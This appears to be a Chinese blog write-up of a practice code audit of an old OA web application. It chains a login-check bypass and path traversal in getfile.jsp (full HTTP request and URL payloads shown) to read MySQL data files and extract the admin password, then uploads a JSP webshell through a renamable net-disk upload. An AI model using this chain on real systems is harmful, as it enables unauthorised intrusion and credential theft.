之前学的时候练手,于是在网上随便找了套老oa拿过来审着玩。
此oa官网提供安装包下载,下载以后一路默认安装,会给你自动装好tomcat、java、mysql启动web。
这是安装完的目录结构,看了一下oa目录为web目录
将此目录导入idea,将WEB-INF/classes和lib目录添加为库
然后就可以开始代码审计了
搜关键词,看到public/getfile.jsp这个文件
这边先判断传入的user参数是否为空,为空的话就去判断用户是否登录。所以这里随便给他赋一个值就行。
然后接受三个参数filename,extname,prop
下面这里判断了prop是否等于activex,不等于则会去调用系统默认配置的路径。这里我们就给他传入activex
filepath就会等于web路径+activex+filename+extname,然后最终去读filepath这个文件。
所以filename和extname这两个参数我们可以控制。构造请求前台任意文件读取一个。
GET /oa/public/getfile.jsp?user=1&prop=activex&filename=../public/getfile&extname=jsp HTTP/1.1 Host: 192.168.222.129:8088 Accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 X-Requested-With: XMLHttpRequest Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,fil;q=0.8 Connection: close
B哥和我说不是前台RCE的洞都不是洞,我也这么觉得。于是想着这个任意文件读取能不能做点什么东西。想到可以去读取mysql的ibdata1文件,此文件里会存有数据库内容信息。构造payload
http://192.168.222.129:8088/oa/public/getfile.jsp?user=1&prop=activex&filename=../../mysql5.1.46/data/ibdata1&extname=
使用utf-8打开文件,使用正则搜索
admin([a-f\d]{32}|[A-F\d]{32})
搜到最后一个,后面的明文就是admin的密码(因为这个oa数据库里密码的md5和明文都存了)
拿到admin密码以后就只需要找一个后台任意文件上传了。
黑盒渗透搞多了,直接登进去看看功能。
发现有一个网盘功能。
我们先正常上传看看。
点重命名发现可以重命名为jsp后缀
目录为upfile\file_netdisk\admin\1z.jsp
上传一个shell测试成功。